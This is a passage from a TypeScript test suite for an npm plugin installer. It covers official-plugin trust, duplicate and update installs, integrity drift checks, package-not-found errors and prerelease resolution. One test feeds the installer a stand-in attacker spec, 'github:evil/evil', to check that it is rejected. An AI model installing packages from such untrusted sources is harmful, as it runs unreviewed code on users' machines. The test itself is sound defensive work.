expect(fs.existsSync(path.join(npmRoot, "node_modules", spec))).toBe(false);
|
|
expect(
|
|
warnings.some((warning) =>
|
|
warning.includes("allowed because it is an official OpenClaw package"),
|
|
),
|
|
).toBe(false);
|
|
},
|
|
);
|
|
|
|
it.each(officialLaunchPluginCases)(
|
|
"allows source-linked official npm plugin $spec with reviewed launch code",
|
|
async ({ spec, pluginId, indexJs }) => {
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstall({
|
|
spec,
|
|
packageName: spec,
|
|
version: "2026.5.2",
|
|
pluginId,
|
|
npmRoot,
|
|
indexJs,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec,
|
|
npmDir: npmRoot,
|
|
expectedPluginId: pluginId,
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
return;
|
|
}
|
|
expect(result.pluginId).toBe(pluginId);
|
|
expect(warnings.some((warning) => warning.includes("installation blocked"))).toBe(false);
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
},
|
|
);
|
|
|
|
it("rejects non-registry npm specs", async () => {
|
|
const result = await installPluginFromNpmSpec({ spec: "github:evil/evil" });
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("unsupported npm spec");
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.INVALID_NPM_SPEC);
|
|
}
|
|
});
|
|
|
|
it("rejects duplicate npm installs unless update mode is requested", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const installRoot = path.join(npmRoot, "node_modules", "@openclaw", "voice-call");
|
|
fs.mkdirSync(installRoot, { recursive: true });
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
integrity: "sha512-plugin-test",
|
|
shasum: "pluginshasum",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
mode: "install",
|
|
});
|
|
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.error).toContain("plugin already exists");
|
|
expect(result.error).toContain(installRoot);
|
|
}
|
|
expect(
|
|
runCommandWithTimeoutMock.mock.calls.some(
|
|
(call) => Array.isArray(call[0]) && call[0][0] === "npm" && call[0][1] === "install",
|
|
),
|
|
).toBe(false);
|
|
});
|
|
|
|
it("allows duplicate npm installs in update mode", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
const installRoot = path.join(npmRoot, "node_modules", "@openclaw", "voice-call");
|
|
fs.mkdirSync(installRoot, { recursive: true });
|
|
fs.writeFileSync(path.join(installRoot, "old.txt"), "old", "utf-8");
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@0.0.2",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.2",
|
|
npmDir: npmRoot,
|
|
mode: "update",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
|
|
expect(result.ok).toBe(true);
|
|
if (!result.ok) {
|
|
throw new Error(result.error);
|
|
}
|
|
expect(result.targetDir).toBe(installRoot);
|
|
expect(result.npmResolution?.version).toBe("0.0.2");
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
});
|
|
|
|
it("preserves previously installed sibling plugins during npm install", async () => {
|
|
const stateDir = suiteTempRootTracker.makeTempDir();
|
|
const npmRoot = path.join(stateDir, "npm");
|
|
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot,
|
|
},
|
|
{
|
|
spec: "@openclaw/whatsapp@0.0.1",
|
|
packageName: "@openclaw/whatsapp",
|
|
version: "0.0.1",
|
|
pluginId: "whatsapp",
|
|
npmRoot,
|
|
},
|
|
]);
|
|
|
|
const result1 = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result1.ok).toBe(true);
|
|
|
|
runCommandWithTimeoutMock.mockClear();
|
|
const result2 = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/whatsapp@0.0.1",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result2.ok).toBe(true);
|
|
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "@openclaw", "voice-call"))).toBe(true);
|
|
expect(fs.existsSync(path.join(npmRoot, "node_modules", "@openclaw", "whatsapp"))).toBe(true);
|
|
});
|
|
|
|
it("aborts when integrity drift callback rejects the fetched artifact", async () => {
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
integrity: "sha512-new",
|
|
shasum: "newshasum",
|
|
});
|
|
|
|
const onIntegrityDrift = vi.fn(async () => false);
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
expectedIntegrity: "sha512-old",
|
|
onIntegrityDrift,
|
|
});
|
|
expectIntegrityDriftRejected({
|
|
onIntegrityDrift,
|
|
result,
|
|
expectedIntegrity: "sha512-old",
|
|
actualIntegrity: "sha512-new",
|
|
});
|
|
});
|
|
|
|
it("classifies npm package-not-found errors with a stable error code", async () => {
|
|
runCommandWithTimeoutMock.mockResolvedValue({
|
|
code: 1,
|
|
stdout: "",
|
|
stderr: "npm ERR! code E404\nnpm ERR! 404 Not Found - GET https://registry.npmjs.org/nope",
|
|
signal: null,
|
|
killed: false,
|
|
termination: "exit",
|
|
});
|
|
|
|
const result = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/not-found",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(result.ok).toBe(false);
|
|
if (!result.ok) {
|
|
expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND);
|
|
}
|
|
});
|
|
|
|
it("handles prerelease npm specs correctly", async () => {
|
|
mockNpmViewMetadataResult(runCommandWithTimeoutMock, {
|
|
name: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
integrity: "sha512-beta",
|
|
shasum: "betashasum",
|
|
});
|
|
|
|
const rejected = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(rejected.ok).toBe(false);
|
|
if (!rejected.ok) {
|
|
expect(rejected.error).toContain("prerelease version 0.0.2-beta.1");
|
|
expect(rejected.error).toContain('"@openclaw/voice-call@beta"');
|
|
}
|
|
|
|
runCommandWithTimeoutMock.mockReset();
|
|
const officialNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const warnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
npmRoot: officialNpmRoot,
|
|
versions: ["0.0.1", "0.0.2-beta.1"],
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: officialNpmRoot,
|
|
expectedDependencySpec: "0.0.1",
|
|
},
|
|
]);
|
|
|
|
const officialFallback = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: officialNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => warnings.push(msg),
|
|
},
|
|
});
|
|
expect(officialFallback.ok).toBe(true);
|
|
if (!officialFallback.ok) {
|
|
return;
|
|
}
|
|
expect(officialFallback.npmResolution?.version).toBe("0.0.1");
|
|
expect(officialFallback.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.1");
|
|
expect(warnings.join("\n")).toContain("falling back to stable @openclaw/voice-call@0.0.1");
|
|
|
|
runCommandWithTimeoutMock.mockReset();
|
|
const correctionNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const correctionWarnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "2026.5.3-1",
|
|
pluginId: "voice-call",
|
|
npmRoot: correctionNpmRoot,
|
|
versions: ["2026.5.3", "2026.5.3-1"],
|
|
expectedDependencySpec: "2026.5.3-1",
|
|
},
|
|
]);
|
|
|
|
const stableCorrection = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: correctionNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => correctionWarnings.push(msg),
|
|
},
|
|
});
|
|
expect(stableCorrection.ok).toBe(true);
|
|
if (!stableCorrection.ok) {
|
|
return;
|
|
}
|
|
expect(stableCorrection.npmResolution?.version).toBe("2026.5.3-1");
|
|
expect(stableCorrection.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@2026.5.3-1");
|
|
expect(correctionWarnings).toEqual([]);
|
|
|
|
runCommandWithTimeoutMock.mockReset();
|
|
const prereleaseOnlyNpmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
const prereleaseOnlyWarnings: string[] = [];
|
|
mockNpmViewAndInstallMany([
|
|
{
|
|
spec: "@openclaw/voice-call",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.1-beta.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: prereleaseOnlyNpmRoot,
|
|
versions: ["0.0.1-beta.1", "0.0.2-beta.1"],
|
|
},
|
|
{
|
|
spec: "@openclaw/voice-call@0.0.2-beta.1",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
pluginId: "voice-call",
|
|
npmRoot: prereleaseOnlyNpmRoot,
|
|
expectedDependencySpec: "0.0.2-beta.1",
|
|
},
|
|
]);
|
|
|
|
const prereleaseOnly = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call",
|
|
npmDir: prereleaseOnlyNpmRoot,
|
|
expectedPluginId: "voice-call",
|
|
trustedSourceLinkedOfficialInstall: true,
|
|
logger: {
|
|
info: () => {},
|
|
warn: (msg: string) => prereleaseOnlyWarnings.push(msg),
|
|
},
|
|
});
|
|
expect(prereleaseOnly.ok).toBe(true);
|
|
if (!prereleaseOnly.ok) {
|
|
return;
|
|
}
|
|
expect(prereleaseOnly.npmResolution?.version).toBe("0.0.2-beta.1");
|
|
expect(prereleaseOnly.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1");
|
|
expect(prereleaseOnlyWarnings.join("\n")).toContain("has no stable npm versions yet");
|
|
expect(prereleaseOnlyWarnings.join("\n")).toContain(
|
|
"using newest prerelease @openclaw/voice-call@0.0.2-beta.1",
|
|
);
|
|
|
|
runCommandWithTimeoutMock.mockReset();
|
|
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
|
|
mockNpmViewAndInstall({
|
|
spec: "@openclaw/voice-call@beta",
|
|
packageName: "@openclaw/voice-call",
|
|
version: "0.0.2-beta.1",
|
|
pluginId: "voice-call",
|
|
integrity: "sha512-beta",
|
|
shasum: "betashasum",
|
|
npmRoot,
|
|
});
|
|
|
|
const accepted = await installPluginFromNpmSpec({
|
|
spec: "@openclaw/voice-call@beta",
|
|
npmDir: npmRoot,
|
|
logger: { info: () => {}, warn: () => {} },
|
|
});
|
|
expect(accepted.ok).toBe(true);
|
|
if (!accepted.ok) {
|
|
return;
|
|
}
|
|
expect(accepted.npmResolution?.version).toBe("0.0.2-beta.1");
|
|
expect(accepted.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1");
|
|
expectNpmInstallIntoRoot({
|
|
calls: runCommandWithTimeoutMock.mock.calls,
|
|
npmRoot,
|
|
});
|
|
});
|
|
});
|